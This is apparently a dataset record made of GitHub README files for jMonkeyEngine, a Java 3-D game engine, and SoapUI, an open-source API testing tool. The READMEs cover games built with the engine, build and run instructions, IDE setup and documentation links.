ZooKeeper 3.6.0 or above required. [See details](https://zookeeper.apache.org/)
| 0 |
jMonkeyEngine/jmonkeyengine | A complete 3-D game development suite written in Java. | game-engine-3d hacktoberfest java jme3 jmonkeyengine jmonkeyengine3 | jMonkeyEngine
=============
[](https://github.com/jMonkeyEngine/jmonkeyengine/actions)
jMonkeyEngine is a 3-D game engine for adventurous Java developers. It’s open-source, cross-platform, and cutting-edge.
v3.6.1 is the latest stable version of the engine.
The engine is used by several commercial game studios and computer-science courses. Here's a taste:
- [jME powered games on IndieDB](http://www.indiedb.com/engines/jmonkeyengine/games)
- [Boardtastic 2](https://boardtastic-2.fileplanet.com/apk)
- [Attack of the Gelatinous Blob](https://attack-gelatinous-blob.softwareandgames.com/)
- [Mythruna](http://mythruna.com/)
- [PirateHell (on Steam)](https://store.steampowered.com/app/321080/Pirate_Hell/)
- [3089 (on Steam)](http://store.steampowered.com/app/263360/)
- [3079 (on Steam)](http://store.steampowered.com/app/259620/)
- [Lightspeed Frontier (on Steam)](https://store.steampowered.com/app/548650/Lightspeed_Frontier/)
- [Skullstone](http://www.skullstonegame.com/)
- [Spoxel (on Steam)](https://store.steampowered.com/app/746880/Spoxel/)
- [Nine Circles of Hell (on Steam)](https://store.steampowered.com/app/1200600/Nine_Circles_of_Hell/)
- [Leap](https://gamejolt.com/games/leap/313308)
- [Jumping Jack Flag](http://timealias.bplaced.net/jack/)
- [PapaSpace Flight Simulation](https://www.papaspace.at/)
- [Cubic Nightmare (on Itch)](https://jaredbgreat.itch.io/cubic-nightmare)
- [Chatter Games](https://chatter-games.com)
- [Exotic Matter](https://exoticmatter.io)
- [Demon Lord (on Google Play)](https://play.google.com/store/apps/details?id=com.dreiInitiative.demonLord&pli=1)
- [Marvelous Marbles (on Steam)](https://store.steampowered.com/app/2244540/Marvelous_Marbles/)
- [Boxer (on Google Play)](https://play.google.com/store/apps/details?id=com.tharg.boxer)
- [Depthris (on Itch)](https://codewalker.itch.io/depthris)
- [Stranded (on Itch)](https://tgiant.itch.io/stranded)
- [The Afflicted Forests (Coming Soon to Steam)](https://www.indiedb.com/games/the-afflicted-forests)
## Getting Started
Go to https://github.com/jMonkeyEngine/sdk/releases to download the jMonkeyEngine SDK.
Read [the wiki](https://jmonkeyengine.github.io/wiki) for the installation guide and tutorials.
Join [the discussion forum](http://hub.jmonkeyengine.org/) to participate in our community,
get your questions answered, and share your projects.
Note: The master branch on GitHub is a development version of the engine and is NOT MEANT TO BE USED IN PRODUCTION.
### Technology Stack
- windowed, multi-platform IDE derived from NetBeans
- libraries for GUI, networking, physics, SFX, terrain, importing assets, etc.
- platform-neutral core library for scene graph, animation, rendering, math, etc.
- LWJGL v2/v3 (to access GLFW, OpenAL, OpenGL, and OpenVR) or Android or iOS
- Java Virtual Machine (v8 or higher)
### Documentation
Did you miss it? Don't sweat it, [here it is again](https://jmonkeyengine.github.io/wiki).
### Contributing
Read our [contribution guide](https://github.com/jMonkeyEngine/jmonkeyengine/blob/master/CONTRIBUTING.md).
### License
[New BSD (3-clause) License](https://github.com/jMonkeyEngine/jmonkeyengine/blob/master/LICENSE.md)
| 0 |
SmartBear/soapui | SoapUI is a free and open source cross-platform functional testing solution for APIs and web services. | on-prem open-source soapui-oss | <p align="center">
<a href="https://soapui.org/">
<img src="SoapUI-oss-logo.png">
</a>
</p>
SoapUI is the world's leading testing tool for API testing. See the [SoapUI website](https://www.soapui.org/) to learn more.
By downloading our software, you agree to our [license](https://www.soapui.org/developers-corner/soapui-license.html) and [privacy policy](https://smartbear.com/privacy/).
## Table of content
* [Structure and submodules](#structure-and-submodules)
* [Build and run](#build-and-run)
* [Prerequisites](#prerequisites)
* [Get the source code for the first time](#get-the-source-code-for-the-first-time)
* [Build](#build)
* [Run](#run)
* [Get the latest changes](#get-the-latest-changes)
* [Contribute](#contribute)
* [IDE support](#ide-support)
* [IntelliJ IDEA](#intellij-idea)
* [Eclipse](#eclipse)
* [Documentation](#documentation)
* [Advanced Functionality](#advanced-functionality)
* [Additional resources](#additional-resources)
## Structure and submodules
* *[soapui](soapui)* - The core module that creates the soapui.jar file.
* *[soapui-system-test](soapui-system-test)* - Integration and system tests for SoapUI.
* *[soapui-installer](soapui-installer)* - Creates SoapUI distributions, such as installers and archives.
* *[soapui-maven-plugin](soapui-maven-plugin)* – A Maven plugin used to run SoapUI in a Continuous integration environment (such as [Jenkins](http://jenkins-ci.org)).
* *[soapui-maven-plugin-tester](soapui-maven-plugin-tester)* - A test pom.xml file used to test the *soapui-maven-plugin*.
## Build and run
### Prerequisites
* [OpenJDK 16](https://openjdk.java.net/projects/jdk/16/)
* [Maven (version 3.0.5 or later)](http://maven.apache.org/)
* [Git (version 1.8 or later)](http://git-scm.com)
### Get the source code for the first time
To get the source code, run `git clone https://github.com/SmartBear/soapui.git` in the folder where you want to clone the root folder of the SoapUI project.
### Build
* To build a SoapUI project, run `mvn clean install` in the root folder.
* To build an individual submodule, run `mvn clean install` in the root folder of the submodule you want to build.
### Run
To run SoapUI after it has been built, execute `mvn exec:java` in the root folder of the *soapui* submodule.
### Get the latest changes
To get the latest source code changes, clone the project by running `git pull` in the root directory of the SoapUI project or in the root directory of the submodule you want to update.
## Contribute
If you want to take a more active part in improving SoapUI, go to [SoapUI Developer's Corner](http://www.soapui.org/Developers-Corner/contribute-to-soapui.html) for more information.
### IDE support
As SoapUI is using a standard Maven 3 setup, building and running SoapUI from an IDE is usually very straight forward, as long as the IDE has good Maven support.
#### [IntelliJ IDEA](https://www.jetbrains.com/idea/)
**Open project**
1. Clone the project.
2. In the main menu, select **File > Open**.
3. Enter the path to the root folder of the SoapUI project.
4. Run `mvn compile` to generate necessary source files automatically.
**Run SoapUI**
After you have created the IDEA project, navigate to the `com.eviware.soapui.SoapUI` class, right-click and select **Run**.
**Get the latest changes**
Right-click on the root folder in the **Project** panel and select **Git > Repository > Pull**.
**Tip**
To get the code style settings used by the SoapUI team, select **File > Import Settings** and import the `intellij-codestyle.jar` file located in the root folder of the SoapUI project.
#### [Eclipse](https://www.eclipse.org/ide/)
**Open project**
1. Clone the project
2. In the main menu, select **File > Import**.
3. In the **Import** dialog, select **Maven > Existing Maven projects** and click **Next**.
4. In the **Root directory**, enter the path to the root folder of the SoapUI project and click **Finish**.
**Run SoapUI**
After you have created the Eclipse project, navigate to the `com.eviware.soapui.SoapUI` class, right-click it and select **Run as > Java application**.
**Get the latest changes**
1. Right-click on the root folder in the **Package explorer** panel.
2. Select **Team > Pull**.
## Documentation
To generate documentation ([JavaDoc](http://www.oracle.com/technetwork/java/javase/documentation/index-jsp-135444.html)), run `mvn javadoc:javadoc` in the root folder of the submodule you want to create documentation for. The documentation will be located in the `target/site/javadoc` folder after the Maven command is executed successfully.
You can also get the latest information on SoapUI classes and methods [here](http://www.soapui.org/apidocs).
## Advanced Functionality
SoapUI Open Source offers basic functionality for API testing. For additional features, such as data-driven testing, coverage testing, groovy script debugging and others, try [SoapUI Pro](https://smartbear.com/product/ready-api/soapui/overview/).
## Additional resources
* [SoapUI community](https://community.smartbear.com/t5/SoapUI-Open-Source/bd-p/SoapUI_OS) - SmartBear's SoapUI Open Source community for discussing and participating in all things SoapUI.
* [SoapUI Groovy examples](https://github.com/SmartBear/soapui-groovy-examples) - This is a collection of SoapUI projects and Groovy scripts used to demonstrate the Groovy scripting capabilities in SoapUI.
* [Extending SoapUI](http://www.soapui.org/Developers-Corner/extending-soapui.html)
* [Custom factories](http://www.soapui.org/Developers-Corner/custom-factories.html)
* [Integrating with SoapUI](http://www.soapui.org/Developers-Corner/integrating-with-soapui.html)
* [Mastering SoapUI](https://www.packtpub.com/web-development/mastering-soapui) - Master the art of testing and automating your SOA using SoapUI
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